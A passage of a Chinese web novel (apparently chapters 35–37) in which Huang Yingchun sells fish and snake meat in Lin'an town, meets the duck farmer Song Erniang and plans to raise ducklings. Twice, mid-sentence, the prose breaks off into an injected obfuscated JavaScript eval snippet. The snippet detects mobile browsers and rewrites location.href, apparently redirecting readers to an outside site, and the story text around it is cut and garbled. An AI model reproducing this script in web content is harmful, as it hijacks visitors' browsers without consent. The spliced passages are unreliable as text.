日复一日,年复一年,渐渐的,黄迎春也摸清了鸡鸭下蛋的规律,知道鸡鸭下蛋的数量差不多——年景好的时候一年一只母鸡或母鸭能下一百个蛋,年景不好、吃食不丰时,一年六七十个蛋也是有的。 黄迎春从小连蛋都吃不上几个,鸡肉和鸭肉自然更无法肖想。 祖母把家里的鸡鸭看得严严的,连清晨摸蛋都不肯让别人来干,生怕家中有人偷偷昧下她的宝贝蛋,撬了她的棺材本。 祖母不仅不让别人吃蛋,自己也不吃,没有营养进补又要大量劳作的人老得快。 黄迎春越长越大,祖母的腰也越来越弯,渐渐的,再去赶集卖蛋,祖母也只能让黄迎春提着装蛋的篮子和她一起去了。 黄迎春因而得知鸭蛋比鸡蛋便宜,母鸭却比母鸡贵的原因。 医馆的大夫们认为鸡蛋性平,不寒不热,适合各类人群进补,尤其是它滋阴润燥、养血安胎的功效,更被大家视为病人、产妇和体虚者的调养佳品。 而鸭蛋不仅性凉,腥味也更重,由于口感的偏好和受众数量的影响,所以鸡蛋的价格比鸭蛋高。 至于母鸭为什么比母鸡贵,是因为安朝定都在南方,南方水多,水多则麻鸭多,麻鸭在春、夏等水草和鱼虾丰富的时节大量下蛋,但它们在无论哪个季节都不喜欢抱窝,母鸭不抱窝,受精的鸭蛋就变不成小鸭,吃鸭蛋的人本就比吃鸡蛋的人少,并不会对鸭蛋的价格产生多少影响。 但鸭肉就不一样了,没有足够多的小鸭,就长不成大量的成鸭,鸭肉的市场渐渐演变成供少于求的状态,随着时间的发展和市场的稳定,母鸭的价格比母鸡高,就成了众人默认的事实。 黄迎春想了许多天,也许养鸭是她唯一的致富路。 现在是夏季,河里气温回暖,水草迅速蔓延,鱼虾大量繁殖,是鸭苗最不缺食物的时候。 鸭子喜欢水,而她最不缺的就是水。 她家附近就是一条河,河流宽阔得她至今没找到办法渡岸,沿河下去就是竹林,竹林旁边又有一条小溪,溪里的鱼虾螺蟹数不胜数……只要限定好范围不让小鸭子们沿着水流跑走,把它们养到秋天,一点儿问题也没有。 至于冰天雪地、没有食物来源的冬天,那就等到了再说吧。 兴许这里的冬天没有黄家村里的冬天冷呢。 黄迎春思来想去,最后索性把一贯钱全分装在笋壳里带走。 油纸价贵,黄迎春在镇上买菜种时,菜农用来包装菜种的材料都是层层叠叠的干荷叶。 临安多河湖,有水的地方就有荷叶,荷叶是不要钱的,怕东西从里面漏出来,多包几层便是了。 无论是包食物还是包细碎的东西,镇上的人们用的大多是不值钱的荷叶,少有人用油纸。 哪怕是野生荷叶,也多生于湖泊和池塘。 黄迎春家旁边的河里只有各种各样的水草,没有一片荷叶。 既无油纸,又无荷叶,黄迎春想包装东西,只能另辟蹊径。 好在,距她家不远处,便有一片茂盛的竹林。 春天,竹笋都从地里冒了尖。 随着竹笋的生长,笋壳会自然脱落。 笋壳不仅是引火的好材料,将它们带回家洗净晒干,还可以替代油纸。 拿来包裹虾干,能防虫防霉。 拿来放置虾粉,还能防潮。 黄迎春平时在地里劳作时,脚下踩着的草鞋底就是用笋壳纳成的。 她把笋壳一片片地剥下来,放在竹筐里,背到河边洗净,用竹丝络刷去表面刺人的绒毛,再提回家中,铺在簸箕上,拿到院子里,放在太阳下晾晒,晒干后收起来,就成了黄迎春制作草鞋和包裹食物的材料。 今天,黄迎春就用笋壳收纳了她的钱、虾干、蛇胆等一堆要带到镇上买卖的东西。 这些东西被她装在一块方方正正的厚布里,然后,她把布打成一个结实的包袱,背在身上。 人靠衣装马靠鞍,买卖东西想要上价,自己身上穿的就不能太便宜太邋遢,黄迎春在浇完地里的水后,特意换了一身样式最齐整最鲜艳的衣裳。 今天去镇上,除了买东西,最主要是卖鱼。 鱼是黄迎春在换衣前就收拾好了的。 为了她要带去镇上售卖的两桶鱼,黄迎春可谓是绞尽脑汁。 从河里把鱼网起来后,黄迎春立刻把她捉来的鱼放在提前铺了水草的鱼篓里。 水草事先在水中浸过,湿淋淋的,一股子水意挡都挡不住,直往鱼篓外冒。 装鱼用的鱼篓,是黄迎春新编的,竹编的材料本就透气,但不放心的黄迎春仍绞尽脑汁,在保证鱼篓结实的前提下,把它编得更透气了一些。 为了延长鱼存活的时间,黄迎春还特意把鱼篓也放在河里浸了许久。 这几天黄迎春一直在为去镇上做准备,所以她捉了不少鱼。 鱼篓装不下的,被黄迎春倒进装了少量清水的木桶。 为了减少鱼的耗氧,黄迎春还在桶里插了一段柳枝。 自然,最理想的运鱼方式是通过船只运输。 黄迎春从镇上的渡口转乘来荒山时,曾坐过一艘鱼腥味极重的小船。 船主晨起运鱼,鲜鱼售空后,便开始载人。 为了多赚一点船资,一趟也不肯走空。 虽然辛苦,但他乐在其中。 见黄迎春好奇,船主还特意给黄迎春讲解了用船只运鱼的门道。 “不是所有的木船都能拿来运鱼。运输鲜鱼的船是一种专用的活水船,多为方头平底,船舱底部和左右在特定位置上开孔,蒙孔的竹席和纱布也有讲究,必须要能透水的……” 船主和黄迎春讲了许多,直到把黄迎春一行人送上岸,还没彻底讲完。 不过,船主说得再多,黄迎春也只能当听个趣儿。 一艘小船的造价,哪怕是一叶只能容纳寥寥几人的普通木船,也不是黄迎春能够得上的。 她更希望自己能拥有一个大水缸,可惜,这个愿望注定此行无法实现。 蛇肉的保鲜也耗费了黄迎春大量的脑细胞。 如果有口井,把蛇肉往井里一吊,不知道多省事。 可惜,黄迎春没有井,为了保鲜,她只能把蛇肉装在笋壳里,再把笋壳放在竹篮里,然后把竹篮浸在石缝中。 昨天,她不知道往河边跑了多少次,转换了多少地方,生怕她的蛇肉不知道什么时候就被水给冲走或被其他动物给破坏了。 好在,经过黄迎春的不懈努力,最终,蛇肉安然无恙。 黄迎春清点好所有物品,又在家里的几间房里转了一圈,见实在没什么不妥当的,而此时日头也渐渐升高了,终于,黄迎春挑起扁担出了门。 她沿着自己印象中的路标,一路走走停停,生怕在这条自己只走过一回的路上遇上什么意外。 黄迎春一路上都是止不住的担忧,她一会儿担心草里同昨天一样突然游出来一只菜花蛇,一会儿忧心离了河的鱼和蛇肉在越来越高的气温中失去鲜味。 越是着急,黄迎春越不敢停下她的脚步。 肩上的伤口还在隐隐作痛,黄迎春换了一边肩膀挑担,在心里不断地提醒自己:“小心,要小心。” 若是摔了,或是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973309|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇上前些天落进河里的事情,反而得不偿失。 不知走了多久,黄迎春听到了一声悠长的人声——那是船夫在训捕食的鱼鹰。 “船家,等等!可还有座?” “有有有——”正在从鱼鹰嘴里把鱼拿出来的船家连声应道,“娘子去哪?” “去临安镇上。” 黄迎春和船家商定好船资,又把自己的行李送上船,还没喘上一口气,便见一条水蛇绕在船头吐着信子。 船家只见自己一眨眼,黄迎春的手里就多了一条缠在她手腕间的水蛇。 “放这里。”船家连忙从船舱角落里拿出一个蛇笼。 黄迎春在花草司当值时,捉过不少从花丛里游出来的蛇。 不管是地上还是水中,抓蛇这回事,其实都是熟能生巧,所以黄迎春到哪碰上蛇都是如鱼得水。 在黄家村里抓到蛇,她的第一反应是祭自己的五脏庙。 在花草司里抓到蛇,蛇的归宿黄迎春说了不算,通常都是应上官的要求,把蛇几刀剁死就地掩埋制成花肥。 蛇遇上黄迎春,通常活不过第二天,黄迎春从来没打过把蛇拿去卖的念头,所以她会编许多东西,但不会编织蛇笼。 船家倒是编织蛇笼的个中好手,据他所说,他不仅载人,也靠水吃水,时常卖点渔获。 “娘子这蛇卖吗?若是想卖,我做个中人,倒有个好去处。” 船家这话正中黄迎春下怀,她掏出浸在水里的笋壳,把肉质还很新鲜的蛇肉递到船家面前,问道:“您收这种蛇肉吗?” “嗬——”正要划船的船家望了一眼黄迎春手中的蛇肉,惊得把船桨一丢,连忙问道,“娘子手里可还有更多的?” 船家一边赞叹蛇肉的个头,一边和黄迎春商谈:“这么大的个头,又是野生的,可是不常见啊。不瞒娘子,我有个老主顾,极爱吃蛇,三五天不吃一顿龙凤汤就睡不着觉。娘子可是要去镇上卖蛇?不如卖给我那位老主顾。他是惯常吃蛇的,以后也能做笔长久生意。” “有是有。”黄迎春面露难色,“只是凑不成一条。” 黄迎春没说自己吃了一段,只说那菜花蛇是多么的凶猛异常,她捉蛇的过程又是多么跌宕起伏,险象环生,直把船家听得浓眉紧锁,拍着大腿呼喊不停。 “这可是有‘百蛇之王’之称的菜花蛇呢,不知吃了多少蛇,才长成这样的大个头。我今天一路走来,再没有遇见一条蛇,可见周围几里的蛇都被它吃尽了,再拿鸡肉和黄芪、枸杞一炖,这样一锅龙凤汤,不知有多补!最要紧的是,此蛇无毒,味美又鲜……” 黄迎春一番天花乱坠地夸谈,把她的蛇肉说得天上有地下无。 船家心动不已,正担忧黄迎春狮子大开口时,黄迎春又将定价的主动权交到了他手中。 船家把散发着鱼腥味的一串钱递给笑意不断的黄迎春时,心里还奇怪:先前看这娘子说了那许多话都顾不上停一停,一看就是要价高、不好糊弄的主儿,怎的又这么好说话,说二百文就是二百文,竟一点儿也不歪缠? 黄迎春怎么可能歪缠呢? 她又没有卖过蛇肉,不知道蛇肉的价格。再说蛇皮是阴物,就是因为人们怕害了蛇之后会被蛇缠上。 这世上吃鸡鸭鱼肉的人多,爱吃蛇的人是少之又少。 错过这个村,还不知道什么时候才能等到下一个店。 蛇肉本来就是昨天剥的,她一直担心蛇肉变质后竹篮打水一场空,眼下还没赶到镇上就能脱手,不知道是多大的好事。 一斤蛇肉能卖出比一斤鱼肉还高的价格,黄迎春已经很满足了。 船家做了一笔有赚头的好生意,心里也痛快,大方地送了几把莲蓬给黄迎春尝鲜。 莲蓬是船家一早在露水将落时采的,嫩生生的绿,看着就喜人。 惊喜的黄迎春笑脸盈盈地道了谢。 莲蓬掰开的声音清脆又解压,嫩绿的莲子放在嘴里,一嚼就是一股青涩的苦味。 黄迎春又从碧绿的莲蓬里剥出一颗,去掉莲子的外皮,还想剥莲子心时,被眼尖的船家及时制止:“这时候的莲蓬最鲜嫩,莲子的莲心是嫩黄色的,吃起来一点儿也不苦,不用去心吃。” 黄迎春一尝,果真如此。 莲子清甜脆爽,嫩生生的,水分又多,既好吃又解渴。 黄迎春说得十分诚心:“我从来没有生吃过莲子,还不知道新鲜的莲子吃起来是这种味道呢,今日托您的福,也是长了见识了。” 船家高兴不已,又给黄迎春送了两枝莲蓬,让她一边吹风一边慢慢吃。 船桨荡开水纹,黄迎春坐在船头,一边剥莲蓬,把新鲜的莲子往嘴里送,一边望着时而静谧时而喧嚣的河畔,想着怀里热乎的二百文,笑得眉眼弯弯。 夏天真美好啊! 36.卤鸡 船家的船只虽小,载三五人总是不成问题的。 所以,在行驶途中,每逢看到岸边有人聚集,船家就会长长地吆喝一声。 人们三三两两,时而上船,时而下船,到了临安镇上的渡口,黄迎春的身边便多了一个同去镇上买卖的大娘。 大娘自称夫家姓宋,在家行二,人称宋二娘,是个既手脚麻利又十分健谈的人。 镇上的渡口可不比乡下,处处人声嘈杂,上工的、卸货的、转乘的……挤得坐船坐得有些晕晕乎乎的黄迎春连个下脚的地方都看不见。 宋二娘就不一样了,她背着一个沉甸甸的箩筐,一手各提一桶装得满满的蛋,动作却格外利落。 船家刚把船桨抵在渡口的木桩旁,还没来得及搭跳板,眨眼间,刚刚还和黄迎春一起站在船头的宋二娘已经风风火火地在人满为患的小小渡口里闯出了一条道。 宋二娘一边迈着大步往人群里走,一边大声喊道:“让让,让让,我这箩筐里面是鸭蛋,碎了就放不成卖不了,浪费吃食可惜了了!大家伙都让让,给我过个道,谢谢大家伙嘞!” 宋二娘快手快脚地走出人群,在空泛处一回头,黄迎春还在黑压压的人群里挣扎呢。 宋二娘把她的鸭蛋往惯常摆摊的地方一放,嘱咐旁边的熟人帮忙看顾一二,转头就冲进人群里,把黄迎春肩上的扁担往自己身上一扛,扯着黄迎春的半边身子,没一会儿,二人便轻轻松松地从渡口里挤了出来。 宋二娘把扁担还给黄迎春,望着黄迎春细弱的胳膊腿儿皱起眉头,语气有些不耐烦地数落道:“妹子,你这手脚可真慢!” “实在是没想到人这么多。”黄迎春扶着扁担,解下腰间的竹筒喝了两口水,压了惊顺了气,又把竹筒往腰上系。她望着不远处黑压压的渡口,仍是心有余悸,她无奈道,“我刚踩上跳板,还没下船呢,已经有人乌泱乌泱地涌过来,擦着身就一个接一个地往船上跳,好悬没把我的鱼篓挤掉。上船之前不问,就顾着往船上挤,占了位置之后又发现船家行的船不去他那地,又气冲冲地跳下船,说船家耽误他时间。我好不容易看准一个下脚地,还没踩稳呢,又让人给撞了一下,吓得我以为是贼,赶紧把包袱往身前挪。捡了包袱,扁担又滑了……幸亏二娘你回头去救我,要不我现在还出不来呢!真是万幸啊,今儿出门遇到好人了!” 黄迎春软语温言,一口一个好人,宋二娘也说不得什么,更别提黄迎春随手就从桶里捞出一条新鲜草鱼用草绳绑了就往她手里塞,一脸笑意吟吟:“辛苦二娘帮我。我初来镇上,东西还没卖,身上也没什么钱,这条草鱼给二娘添个菜,还望二娘不要嫌弃。” “这是什么话!”宋二娘被黄迎春说的话唬了一跳,连连摆手,“搭把手的事,连句谢都不值当,哪还能让你搭上一条鱼!妹子,看你这样子,就不是常做买卖的人。二娘我仗着年岁和你说一声,做买卖可不能这样,你是没见过镇上买东西的人啊,一个比一个牙尖嘴利——年纪小的嘴甜,没活计的和你磨时间,搭伴来的挑三拣四地和你砍价……就你这样的,人家还没说话呢,你已经开始送鱼了。等人家开了口,你还不得被人剥皮抽筋哪!做买卖真不能这么做,这么做不成!” 宋二娘越说越不放心,她的视线在黄迎春身上绕了好几圈,又往自己摆摊的地方看了一眼,见周围还能挪出点空位,索性提议道:“不如你和我一处卖吧?若遇到喊价喊得狠的,你招呼一声,若我有空,我便来给你说和,你这么做买卖,忒亏!” 这对黄迎春来说无疑是打瞌睡来枕头的好事,她乐颠颠地挑着扁担跟着宋二娘来了她平常摆摊的地方。 宋二娘是摆摊的熟人了,在哪里摆摊能卖上价,怎么吆喝才能卖得又快又好,怎样找兵役交税才能交得更划算……这些门道她全都一清二楚。 如今,黄迎春送出去一条草鱼,便让宋二娘将她日积月累一点点得出的经验吐露了个干净。 “真厉害啊!太了不得了!”黄迎春在挨着宋二娘摆摊的地方摆下了她的摊位,她一边检查鱼的存活率,一边嘴里就没停下对宋二娘的夸耀。 宋二娘被黄迎春夸得飘飘欲仙,既想做出满不在乎的神情,又打从心底里自得自己在镇上闯出来的固定营生,纠结来纠结去,拎着一双眼睛左看右看,仗着交情从卖竹器的老翁那里借来两个竹板凳,自己坐了一个,又塞给黄迎春一个,接着便拉起这位说话说得她格外舒心的小姐妹,一边等顾客上门,一边和黄迎春拉家常。 “我家有一片水塘,闲着也是闲着,我就抓了几十只鸭子养着。 “这不最近天气好嘛,天蓝水清,水塘里鱼虾虫虱也多,鸭子长得快,就多下了一点蛋。 “这些不聪明的呆脑壳,我用稻草给它们弄得舒舒服服的草窝不进,成天在水塘里下蛋。 “这蛋一碰水就容易坏,我是隔个两三天就得捡了蛋拿到镇上来卖。 “鸭蛋价贱,腥味又重,许多小郎君小娘子都不爱吃,碰了水的鸭蛋也不好放,卖不出去只能拿回家做咸鸭蛋。 “咸鸭蛋做得家里都没地方放了,剩下的鸭蛋只能自己吃。 “现在我们家,不管丫头小子,一听说吃鸭蛋,跑得比兔子还快……” 黄迎春听得羡慕极了,她随着宋二娘的话语在脑海中描绘出一个水丰鸭肥蛋多的美丽愿景,喃喃自语:“什么时候,我要是能过上这种日子就好了。” “我一年到头辛辛苦苦卖鸭蛋,钱没攒下几贯,船资和商税不知道已经花了多少!” 有客上门,宋二娘停下她的抱怨。 在客人买完她的鸭蛋后,宋二娘也不忘替黄迎春宣传一波她的鱼和虾干。 黄迎春投桃报李,在客人买她的货物时,也会顺口问上几句是否要买鸭蛋。 两人互帮互助,没多久,黄迎春的桶里只剩下一条草鱼。 “这鱼怎么卖?” 黄迎春抢在宋二娘之前开口:“不好意思啊,不卖,只剩一条了,留着自家吃的,您往前再寻寻看,实在不好意思!” 客人走后,黄迎春把还在水里吐泡泡的草鱼往宋二娘面前一放,有点脸红。 自己带来的东西都卖完了,人家的鸭蛋卖了一半还不到,黄迎春看着宋二娘身前满满当当的一箩筐鸭蛋,有点尴尬。 “二娘,我还得去趟医馆,你看……” “这有什么,你放心去,东西我给你看着。” 宋二娘倒不觉得有什么,她大手一挥,让黄迎春安心去。 宋二娘认为,不管她带多少鸭蛋上船来镇上做买卖,该交的船资和商税都是一样的,不会多一分少一厘,所以她每回都是往多了带,能负重多少就带多少,宁可卖不完再带回家,也绝不允许自己出现蛋卖不够的情况。 但是,黄迎春和宋二娘初相识,她并不明白宋二娘以勤俭为生的生意经。 黄迎春的本意并不是想让宋二娘帮她看行李,她原打算背着包袱挑着扁担直接往医馆里去的。 卖了晾干的蛇胆和她在山脚下采到并处理好的药材,若时间还早,她就沿街看看她要买的东西,若天色已晚,她便直接带着行李去客栈投宿。 只是,这番盘算,她迟迟无法在宋二娘面前脱口而出。 黄迎春有心送给宋二娘一条草鱼,但宋二娘显然还要在镇上待上许久的时间,继续做她的买卖,鱼离了水,很快就会死,黄迎春是诚心要送礼感谢宋二娘的,自然不能送给人家一条死鱼,但若是让她留下一只有水的木桶盛鱼,黄迎春又下不了这个决心。 不是她小气……好吧,黄迎春承认是自己小气。 但是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983133|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟是她唯二的木桶啊! 吃水、洗漱、浇田……哪样都离不开木桶。 木桶于她,比竹床更重要。 不能为了买做竹床用的工具,反而送出去一个木桶吧? 黄迎春的踌躇不安被宋二娘看在眼里,她豪爽地笑道:“没事,眼下日头还高,且有的是时间卖呢!只要你在日落之前来找我,不管我的鸭蛋卖没卖完,我都会在这里等你的。这些扁担、桶啊的,你也别担心,就放我边上,保准给你看得牢牢的。医馆怎么走知道吧?最近的是桥头李家的医馆,你沿着这条路,看到那个招幌没有?在那右拐,走一刻钟就能见到一座桥。到了桥头,药味最重的铺子就是李家医馆,不识字也没事,一闻就知道。” 身量敦实的宋二娘从小小的竹板凳上起身,特意带了黄迎春紧走几步,给她指路。 “我真的遇到了很好的人。”黄迎春搂着怀里的包袱,抱着这个念头,脚步匆匆地往李家医馆的方向走去。 李家医馆是常年收药的,黄迎春排了许久的队,将她带来的蛇胆、干蝼蛄和各色药草全部出手,换来了包袱里沉甸甸的两千三百个铜板。 这两千三百文自然不是黄迎春在医馆里卖出的那点东西赚来的,虽然她的包袱里鼓鼓囊囊一大堆,背在肩上一点儿也不轻。 两千三百文里,一贯是黄迎春从家带来的;二百文是卖蛇给船家的价钱;一百五十文是医馆里称量的药童刚刚给的——山里的野生草药值不了多少钱,黄迎春不是专业人员,炮制药材的手艺也不到家,能得一百五十文,还是多亏了她带来的两颗蛇胆;其余的,便是黄迎春今日摆摊赚来的。 摆摊的大头是卖鱼的收入。 黄迎春只带了两种鱼来镇上卖——草鱼和鲫鱼。 草鱼一斤十文。 鲫鱼肉嫩,煮汤下奶,于刚生产完的妇人是滋补佳品,价钱更高,依据当日的天气和近期的行情,一斤能卖到十五至二十文不等。 黄迎春为了尽早脱销,往往看着价钱合适就卖,哪怕有宋二娘在,也没能拦住黄迎春几回。 好在,兴许是看着黄迎春好说话,大多人在讲价时也不歪缠,走时总会带上黄迎春摊上的一包晒干的菌菇或宋二娘摊上的几枚鸭蛋。 菌菇、干桑葚之类的山货卖不上价,做个添头总是喜人的。 虾干黄迎春也大方地开了一包让客人尝,好歹是肉,再压一点价钱,尝过的人十有八九都会买上一包。 虽然做完生意每每抬头,都会看到宋二娘一脸恨铁不成钢的模样,但黄迎春还是很高兴。 毕竟是她第一回开张,只当积累经验了。 黄迎春这么安慰宋二娘,然后又迫不及待地数起铜板。 叮叮当当。 清清脆脆。 黄迎春一边走,一边听着怀里的铜板撞击在一起发出的声音,笑得牙不见眼。 这就是天籁之声吧! 黄迎春怀揣“巨富”,不敢在街上乱逛,她总疑心别人也会听到她的钱在快乐地呼喊。 所以,从医馆出来,没走几步,黄迎春就在一家卖卤鸡的摊子前停了下来。 “娘子买鸡吗?我这鸡是三月大的小公鸡,专养在竹林里吃竹笋长大的,一股子竹香味。您闻见这香味了没有?我这卤汁是用自家熬的猪油、上好的黄酒、临安镇上做酱最好的林家铺子里买来的酱油和山泉水一点点煨煮出来的!您看看这鸡肚子,我划一刀啊,一点都不说虚的,塞满了葱和茴香!就这么轻轻地切上一块鸡肉,再用筷子夹着往卤汁里一过,嗬——” “好吃!”黄迎春在摊前吃得头也不抬,成了摊主的活招牌,给摊主又招来好几位客人。 在渡口附近卖鸭蛋的宋二娘等啊等,在日落之前等来了黄迎春和一只用干荷叶包着的卤鸡腿。 37.凉拌皮蛋 “给我的?”宋二娘冷不丁被塞了一个油汪汪的鸡腿,连话都不会说了,“你这人,也忒客气了!” 卤鸡腿香气蛮横,勾出了宋二娘满腹的馋虫。 宋二娘在渡口卖了一天鸭蛋,从上午忙到下午,也就喝了几口水,早已饥肠辘辘,但她还是坚定地把尚有余温的荷叶包还给黄迎春,嘴里不住地推却道:“不成,这多贵啊。你自个儿吃,不用管我。我家里已经做上饭了,搭了船一回去就有的吃。” “二娘先别急着推辞,我是想同二娘做笔买卖。” 宋二娘的视线随着黄迎春的眼神,落在了她半满的箩筐里。她当即把头摇个不停:“不成不成!你赚点钱也不容易!” “二娘想差了,我是想同二娘买些雏鸭,不知二娘愿不愿意卖我几只?” 黄迎春在宋二娘旁边摆了大半天的摊,也听了她大半天的吆喝。 三五个客人里打个来回,宋二娘的说词就没有重复过。 也许宋二娘卖蛋时有王婆卖瓜自卖自夸的嫌疑,但摆在她面前的鸭蛋们做不了假——颜色青白,个头又大,光是双黄蛋宋二娘就拾了满满一桶。 那桶不是木桶,是用柳条编的圆筐,偏偏又编了一个粗壮的提手,长得有点像现代的圆桶包,却比黄迎春专为挑水买的大木桶还能装。 据宋二娘所说,她并没有怎么特意地去照看家里的鸭子。 村里的人怎么养鸭,她就怎么养鸭,但她家的鸭子下蛋就是比别人家的下得勤,个头也比别人家鸭子下的蛋大。 思来想去,宋二娘只能把百般好处归于她家的大水塘:“水鸭,水鸭,鸭子还是得有水才能养得好啊!” 水这玩意儿,黄迎春也不缺。 虽然她没有水塘,但她有河有溪,不管是鸭子吃的水草鱼虾,还是鸭子活动、洗澡、戏水的空间,通通管够。 如果她能在山脚下养鸭,只要没遇上野兽频频下山觅食和突然爆发的鸭瘟,兴许她的鸭子也能和宋二娘养得一样好。 我也能有吃鸭蛋吃到害怕的一天吗? 黄迎春一边期待,一边从宋二娘帮忙照看了许久的木桶里提出一个水淋淋的鱼篓,又把鱼口一张一闭的草鱼放进鱼篓,再轻轻地把鱼篓放到已经清空的柳条筐中。 至于卤鸡腿?早在黄迎春动手抓鱼之前借口帮忙被她塞回宋二娘手里了! 黄迎春弯着腰,仰着一脸和气的笑:“劳二娘给我个地儿,明儿晌午我上门叨扰一会儿。若二娘有空,还请给我留个门儿。” 宋二娘看看脚边的鱼,再瞧瞧手里的荷叶包,一把擒住黄迎春的手,大声地说:“别等明儿了,你现在就和我回家住去。住什么客栈哪,一晚上贵得要命。有这闲钱,我还能多给你抓两只春雏。” 所谓春雏,就是春天孵化出来的雏鸭。 长了一个春天,这时的鸭苗已经能立住了。 再逮着水暖食丰的夏秋两季好吃好喝,长得快的鸭子,在今年秋末就能开始下蛋。 若过年实在没有好吃食上供给灶王爷,抓一只鸭子杀了,也是几斤重的好肉,从大年三十吃到上元十五,也算是过了一个肥年。 黄迎春心动不已,神情犹豫:“可我的东西还没采买呢,明天来镇上又要花时间。” 防人之心不可无。 就是宋二娘没什么坏心眼,黄迎春也招架不住这么风风火火又自来熟的人。 她常常因为人情不够练达而觉得尴尬。 宋二娘的热情邀请,让黄迎春想起了她上辈子的同学。 同学通过她发的朋友圈,得知她来到她的城市,非要尽地主之谊。 虽然和许久未见的同学再见是一件很快乐的事情,躺在一张床上聊天聊到半夜再起床去吃同学推荐的美食也是难得的体验。 但黄迎春还是觉得有些不太舒服。 终于到了挥手离别的时刻,黄迎春坐在去动车站的出租车里,隐去笑脸,心里由内而外,散发出一种沉沉的疲惫。 住酒店多舒服啊,想吃什么吃什么,想什么时候洗澡就什么时候洗澡,不管什么时候睡觉、哪怕是手机外放着打视频通话,也不用担心打搅别人。 本来住一天酒店一百多块钱就能解决的事,黄迎春不知道为什么自己要这么折腾。 从和同学敲定好上门的时间开始,黄迎春就在思索要带什么礼物。同学要尽地主之谊,自己这个客人自然不能不懂事地空手上门。 好不容易敲定了要带什么礼物,又发文字又拍照片的,在同学家楼下找到了热情满满的同学,又开始和同学互相推辞请客吃饭的饭钱。 和别人睡在一起,晚上睡觉时翻个身,都要小心翼翼的,还要担忧自己半夜说了什么乱七八糟的梦话,搅扰了同学的睡眠…… 分明同学真诚以待,笑脸迎人,好心照顾,黄迎春不知为什么,就是觉得心很累,过了相见时那阵激动的劲头,她只想一个人待着。 实在是有些不识好歹。 此时,往事再度上演,黄迎春望着热情的宋二娘,心中再度冒出自己不识好歹的念头,然而还是坚定地推辞了宋二娘的邀请。 黄迎春虽然一人住在山脚下许多天,十分渴望和人打点交道,但她只希望自己遇到些萍水相逢的好人,点个头说两句话笑一笑就过去了,并不想和别人有什么深交。 须知交情深了,事就多了。 事若是处理得不周全,麻烦也就跟着来了。 黄迎春并不想惹祸上身,她只想自己一个人过她安稳清净的小日子。 两辈子了,黄迎春一直不擅长拒绝别人。 她不是幸福者,但一直避让生活中遇到的所有人。 她讨厌冲突,喜欢平静温和的相处。 好在,宋二娘虽然乐于助人,但黄迎春认识她的时间短,日后也不用和她一起生活或共事,她们之间也没什么联系的媒介,黄迎春拒绝起来并没有多少心理负担。 虽然没有电给黄迎春的生活添了不少的麻烦,但她出宫后,每当回想起上辈子或这辈子与人打交道的那些烦琐,她就会双手合十,抬头看向天空,十分感谢这个没有网络、电力和文盲占据众生十之八九以至于找个人难比登天的世界。 此刻,黄迎春的一只胳膊还被宋二娘有力的手扯着,怎么挣也挣扎不开,她无法双手合十,只能匆匆地瞥了一眼渐渐泛黑的天色,用另一只手一连轻拍了宋二娘好几下,在宋二娘勤俭持家的“说教”中插嘴道:“天快黑了。” 正巧,渡口处传来船家长长的吆喝声。 “船要划走了,二娘你快回吧,明日我去找你。”趁宋二娘回头的工夫,黄迎春立刻把木桶里的水泼到一旁的水沟里,再把木桶把手上绑着的麻绳套在扁担上,然后挑起自己的扁担站直身体。 “那行,那我先回。妹子,你记着明日来找我,我家就在宋家村,我明日专在家等你来。你搭船时和船家说专养鸭子的宋家,他一听就知道在哪放你落脚。船资只要三文,你别被人骗了,多一文都不要出——” 宋二娘急急赶去渡口乘船,关切的话儿飘在风中,久久未散。 等到宋二娘的身影看不见了,黄迎春才转身往繁华热闹的街坊走去。 在卤鸡摊位前吃的那几块鸡肉只够垫垫肚子,找了家客栈把东西放下后,黄迎春便揣着她的全部身家出门觅食。 永安城里灯火辉煌,临安镇上也不遑多让。 黄迎春原是想晚上先踩个点儿,到处逛一逛瞧一瞧,了解一下行情,明天再起早去买货。 谁知她沿着 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黄迎春从来没有见过这么拥挤的集会,本以为上午在渡口时的遭遇已经够艰难的了,如今,站在密不通风的万姓集里,她才知道什么叫小巫见大巫。 从卖自家搓的荨麻绳的老农逛到还没出师的木匠伙计贩卖的各种工具和物件,其实只隔了五个摊位,黄迎春却活生生地走出了一身汗。 黄迎春一边像一条扭曲的蚯蚓一样在拥挤的人群里艰难迈步,一边双手紧紧地护着压在胸前的包袱,伸着脖子不停地搜索自己需要的东西。 终于,黄迎春以比店里便宜不少的价钱买到了她打竹床需要的全部工具——虽然是她在好几家摊位上七拼八凑地买来的,而且摊主大多都是正跟着木匠师傅打下手的小徒弟。 所以,这些工具的做工,可想而知,不提也罢。 有些东西,连黄迎春这个外行人看着都觉得磕碜,不过好歹也是工具,黄迎春上手试了试,感觉还能用,就以低价一锅包圆了。 “这天也热了,总不能出来一晚上,只为喂蚊子吧。二十文,一口价,你卖给我也算有个进项不是,喝碗熟水还能剩下十来个铜板,也不亏……” 黄迎春和摊主磨了许久,终于把人家小兄弟磨得不耐烦了,一挥手打包卖了。 黄迎春正美着呢,转头就遇上一个崽卖爷田不心疼的败家子——做木匠的老爹去了,家里的家伙什也不收好,一直堆在墙根放着,都快放烂了,这才想着拿出来卖一卖。 嘴上说着就是堆破木头,黄迎春只要给钱他就卖,黄迎春真看上,开始挑拣了,人张嘴就是提价,气得黄迎春牙痒痒。 